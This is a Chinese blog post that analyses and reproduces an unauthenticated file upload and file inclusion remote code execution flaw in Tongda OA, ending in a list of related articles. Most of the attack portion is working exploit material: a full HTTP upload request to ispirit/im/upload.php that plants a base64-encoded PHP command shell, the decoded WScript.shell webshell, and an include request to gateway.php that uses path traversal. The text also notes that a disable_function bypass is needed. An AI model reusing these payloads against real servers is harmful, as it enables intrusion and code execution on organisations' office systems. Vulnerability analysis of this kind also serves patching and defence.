▶漏洞描述

通达OA是北京通达信科科技有限公司出品的 "Office Anywhere 通达网络智能办公系统"。

3月13日,通达OA在官方论坛发布通告称,近日接到用户反馈遭到勒索病毒攻击,提示用户注意安全风险,并且于同一天对所有版本发布了加固补丁。

在受影响的版本中,攻击者可以在未认证的情况下向服务器上传jpg图片文件,然后包含该文件,造成远程代码执行。该漏洞无需登录即可触发。

▶漏洞影响版本

  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013增强版
  • 2013版

▶ 漏洞分析与复现

任意文件上传

在厂商补丁的其他版本中出现了ispirit/im/upload.php这个路径,跟进来一看实际上是一个很明显的文件上传漏洞,而且是未授权的文件上传,分段来看一下代码。

先看未授权部分,P不为空的情况下,包含inc/session.php,并且通过 session_id 注册 session ,P可通过 POST['P'] ,因此不多赘述。

$P = $_POST["P"];
if (isset($P) || ($P != "")) {ob_start();include_once "inc/session.php";session_id($P);session_start();session_write_close();
}

再看下面这一小段,假设 DEST_UID 为空的情况下,会直接返回接收方ID无效相关信息,并且退出,因此这里的处理方式也很简单, DEST_UID 可通过 POST["DEST_UID"] 搞定,这里也不多赘述了。

$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));echo json_encode(data2utf8($dataBack));exit();
}

再往下走,当$_FILES全局变量大于等于1的时候,简单理解就是有文件上传的时候,会调用 upload 函数进行处理,这里的文件上传的 namename="ATTACHMENT"

if (1 <= count($_FILES)) {if ($UPLOAD_MODE == "1") {if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);}}$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

跟进 upload 方法,可以很明显看到 is_uploadable 这个方法针对上传的文件名进行判断。

function upload($PREFIX, $MODULE, $OUTPUT)
{if (strstr($MODULE, "/") || strstr($MODULE, "\\")) {if (!$OUTPUT) {return _("参数含有非法字符。");}Message(_("错误"), _("参数含有非法字符。"));exit();}...if ($ATTACH_ERROR == UPLOAD_ERR_OK) {if (!is_uploadable($ATTACH_NAME)) {$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));}

很明显存在一个后缀名非法的判断,所以这点并不能直接上传PHP文件。

function is_uploadable($FILE_NAME)
{$POS = strrpos($FILE_NAME, ".");if ($POS === false) {$EXT_NAME = $FILE_NAME;}else {if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {return false;}

继续往下走,因为上传不回显的话,搞定了也没啥用,还得猜文件名麻烦,找到了一个回显的地方。

if ($UPLOAD_MODE == "1") {
... if ($MSG_CATE == "file") {$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";}   else if ($MSG_CATE == "image") {$CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";} else {$DURATION = intval($DURATION);$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";}...
$dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID);  echo json_encode(data2utf8($dataBack));

​手动验证构造文件上传poc

POST /ispirit/im/upload.php HTTP/1.1
Host: 目标IP
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 925
Content-Type: multipart/form-data; boundary=e59b4539bd28a1b69eb29cc9fa61fbc1--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="P"123
--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="DEST_UID"1
--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="UPLOAD_MODE"2
--e59b4539bd28a1b69eb29cc9fa61fbc1
Content-Disposition: form-data; name="ATTACHMENT"; filename="1.txt"<?php
$fp = fopen('readme.php', 'w');
$a=
base64_decode("JTNDJTNGcGhwJTBBJTI0Y29tbWFuZCUzRCUyMndob2FtaSUyMiUzQiUwQSUyNHdzaCUyMCUzRCUyMG5ldyUyMENPTSUyOCUyN1dTY3JpcHQuc2hlbGwlMjclMjklM0IlMEElMjRleGVjJTIwJTNEJTIwJTI0d3NoLSUzRWV4ZWMlMjglMjJjbWQlMjAvYyUyMCUyMi4lMjRjb21tYW5kJTI5JTNCJTBBJTI0c3Rkb3V0JTIwJTNEJTIwJTI0ZXhlYy0lM0VTdGRPdXQlMjglMjklM0IlMEElMjRzdHJvdXRwdXQlMjAlM0QlMjAlMjRzdGRvdXQtJTNFUmVhZEFsbCUyOCUyOSUzQiUwQWVjaG8lMjAlMjRzdHJvdXRwdXQlM0IlMEElM0YlM0U=");
fwrite($fp, urldecode($a));
fclose($fp);
?>--e59b4539bd28a1b69eb29cc9fa61fbc1--​

base64加密的内容可以自行构造,这里base64加密的原文是

<?php
$command="whoami";
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

发送后会在我们搭建的OA平台的根目录下的/attach/im/2003目录下生成850248632.1.txt,BP中因为后端代码原因将名字改变了。下面构造文件包含的时候注意更改。

文件包含

执行了文件上传要达到RCE的目的,还需要一个文件包含,包含点从补丁上找找,是这个ispirit/interface/gateway.php

简单分析一下,解析一个循环解析$json,假设$keyurl 的情况下,它的值会丢给$url,之后会调用 include_once 针对这个进行包含了。

if ($json) {$json = stripcslashes($json);$json = (array) json_decode($json); foreach ($json as $key => $val ) {      if ($key == "data") {$val = (array) $val;          foreach ($val as $keys => $value ) {$keys = $value;}}      if ($key == "url") {$url = $val;}} if ($url != "") {        if (substr($url, 0, 1) == "/") {$url = substr($url, 1);}       if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {          include_once $url;}}

​ 所以从代码来看非常的简单,简单提一嘴,这套代码有 disable_function 的限制,需要bypass一下,整个过程非常的简单。

接下来再构造文件包含POC

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 目标IP
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 61
Content-Type: application/x-www-form-urlencodedjson={"url":"/general/../../attach/im/2003\/850248632.1.txt"}

​运行完成后会在interface文件下生成一个readme.txt,访问即可看到我们之前base64构造的“whoami”命令执行结果。

本文章仅作漏洞复现。

文章参考:https://forum.90sec.com/t/topic/883

通达OA RCE分析及复现相关推荐

  1. 通达OA任意用户登录复现(最新)

    通达OA任意用户登录复现 0x00 漏洞简介 0x01 影响版本 0x02 环境搭建 0x03 漏洞复现 0x04 修复建议 0x00 漏洞简介 通达OA国内常用的办公系统,使用群体,大小公司都可以, ...

  2. 通达OA漏洞分析合集

    一.产品介绍 通达OA是一套使用比较广泛的办公系统.随着国家护网的开展,通达OA成为渗透人员优先尝试的目标,暴露出了大量漏洞,以下进行介绍. 二.渗透手段 1.通达OA版本/系统信息泄露 判断通达版本 ...

  3. 通达OA任意用户登录复现

    1.访问默认管理员后台地址 用户未登录, 弹出如下界面,猜测有通达OA任意用户登录漏洞 2.访问文件https://oaweb.hait.edu.cn//ispirit/login_code.php以 ...

  4. 通达+oa+php+文件+乱,通达OA任意文件删除/OA未授权访问+任意文件上传RCE漏洞复现...

    0x00 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  5. 通达OA任意文件上传/文件包含RCE漏洞分析

    通达OA任意文件上传/文件包含RCE漏洞分析 0x01 前提 0x01 漏洞介绍 0x02 漏洞分析 首先下载安装 绕过身份验证文件上传部分 变量传递问题 文件包含部分 0x01 前提 关于这个漏洞的 ...

  6. 通达OA前台任意用户登录漏洞+RCE漏洞复现

    声明 本文仅用于技术交流,请勿用于非法用途 由于传播.利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任. 文章作者拥有对此文章的修改和解释权.如 ...

  7. 通达OA任意用户伪造登录漏洞分析与复现

    2020年04月17日, 通达OA官方在更新了一个v11版本安全补丁, 其中修复了一个任意用户伪造登录漏洞.未经授权的攻击者可以通过构造进行任意用户登录(包括admin),登录之后可进一步上传恶意文件 ...

  8. php forms 上传更新json_通达OA任意文件上传漏洞详细分析

    影响 影响范围(但是只有V11版和2017版有包含文件的php,其余版本能上传文件.): V11版 2017版 2016版 2015版 2013增强版 2013版. 这个漏洞是几个月前的漏洞,主要是学 ...

  9. jmeter file upload 变量_通达OA上传漏洞之变量覆盖分析

    作者:kw0ng 开始 通达OA上传到包含漏洞分析的文章已经有很多,本文重点分析,文件上传处决定路径信息是否回显的UPLOAD_MODE参数是怎么传递的. 代码分析 触发文件上传点位于/ispirit ...

最新文章

  1. 重要通知 | WanaCrypt0r 2.0及Onion等勒索软件安全建议
  2. 炫酷大屏demo_可视化大屏动态效果
  3. bzoj 1061: [Noi2008]志愿者招募【最小费用最大流】
  4. vue2.0 -- watch监听
  5. 互联网内容平台到底要用到多少AI技术?
  6. Multiverse: Revolutionary Backend for Alembic // Multiverse: 下一代Alembic后端
  7. docker遇到问题归纳
  8. Hadoop入门(二十)Mapreduce的最小值程序
  9. matlab var求方差
  10. (node:62099) ExperimentalWarning: The fs.promises API is experimental
  11. python提现_用Python创建比特币钱包,读余额,极速免费转账,标准转账
  12. Debit credit problem
  13. java文件传输接口
  14. 大脑是如何塑造你的感觉?
  15. 蓝桥杯算法题--跑步锻炼(java实现)
  16. 从天使到A轮融资:创业者要迈过的9大生死关
  17. PP实施经验分享(3)——MRP运行问题常用解决方式
  18. 二清,是“担保支付”,还是“雁过拔毛”
  19. 公司股权等比稀释是什么意思
  20. 非接触借记贷记流程报文解析

热门文章

  1. matlab中动态绘制曲线
  2. 我对SNS游戏的初步理解
  3. 华为董事长郭平:避免赶时髦,数字化转型和企业战略需深度互锁
  4. GIS空间分析 数字地形分析1 地势图的制作
  5. java版springcloud+springboot+mybatis商电子商务 b2b b2c b2b2c springcloud商城 springboot商城 直播带货 电子商务源码 商城源码
  6. 高端简洁响应式电子商务网站源码
  7. 用AI算法起中文名字 ---- AI起名的评价
  8. 读《关键迭代:可信赖的线上对照实验》
  9. WIN7下破解锐捷无线共享上网(谨以此文献给浙理各位被锐捷搞疯掉的同学)
  10. 大地坐标系是不是经纬度_大地测量学基础(复习)第三部分